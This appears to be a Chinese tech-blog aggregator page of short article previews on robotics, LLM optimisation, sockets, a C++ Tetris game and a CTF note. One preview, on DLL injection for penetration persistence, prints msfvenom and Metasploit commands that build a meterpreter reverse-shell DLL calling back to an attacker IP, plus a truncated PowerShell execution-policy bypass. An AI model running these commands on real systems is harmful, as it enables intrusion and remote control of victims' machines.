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基于ARM芯片与OpenCV的工业分拣机器人项目设计与实现流程详解
一、项目概述
项目目标和用途
本项目旨在设计和实现一套工业分拣机器人系统,能够高效、准确地对不同类型的物品进行自动分拣。该系统广泛应用于物流、仓储和制造业,能够显著提高工作效率,降低人工成本。
技术栈关键词 ARM芯片 步进电机控…
建站知识
2025/1/21 12:06:09
攻防世界--->开源
前言:做题笔记。 下载之后是一个C的源码,用notepad打开就可以。 进行分析: 脚本: c0ffee
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2024/12/2 8:08:21
WEB渗透权限维持篇-DLL注入\劫持
DLL注入
Powershell
生成DLL
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.0.105 LPORT6666 -f dll -o /var/www/html/x.dll
>use exploit/multi/handler
>set payload windows/x64/meterpreter/reverse_tcp
>Powershell -nop -exec bypass -…
建站知识
2025/1/20 14:05:40
优化边缘设备上的大型语言模型(LLM)--tinychat
文章目录 一、项目启动1.背景:针对不同操作系统架构的4bit权重重排2.初始环境配置下载LLaMA2-7B-chat模型 3.项目启动项目结构说明评估不同优化技术可能遇到的bug以及措施1.macOS上部署 二、各种优化技术实现1.前置条件2.优化----循环展开3.优化----多线程4.优化---…
建站知识
2025/1/20 16:30:56
UMI复现代码运行逻辑全流程(一)——eval_real.py(尚在更新)
一、文件夹功能解析
全文件夹如下 其中,核心文件作用为:
diffusion_policy:扩散策略核心文件夹,包含了众多模型及基础库
example:标定及配置文件
scripts/scripts_real:测试脚本文件,区别在…
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2025/1/19 5:00:22
FastGPT自定义插件的icon
最近研究FastGPT的自定义插件,经过好几天的折磨,终于实现了一个简单的发送邮件功能,但是呢在使用的时候发现插件的icon是默认的fastgpt的logo,那肯定得自定义一个啊。直接说方法: 1、自定义插件下面的template.json文件…
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2025/1/9 3:32:23
【网络】UDP协议的简单使用
目录
服务器
客户端
测试 UDP是基于socket进行网络通信的,那我们这篇博客就来介绍一下基于UDP通信的基本流程,先让服务端和客户端进行简单的跨网络通信。 服务器 首先我们需要创建UDP套接字,用到的接口是 man socket 如果要使用UDP通信&am…
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2025/1/14 9:12:55
C++实现俄罗斯方块(Windows控制台版)
C实现俄罗斯方块(Windows控制台版)
在油管上看到一个使用C控制台编写的俄罗斯方块小游戏,源代码200多行,B站上也有相关的讲解视频,非常不错,值得学习。 B站讲解视频地址为:【百万好评】国外技术…
建站知识
2025/1/18 17:10:20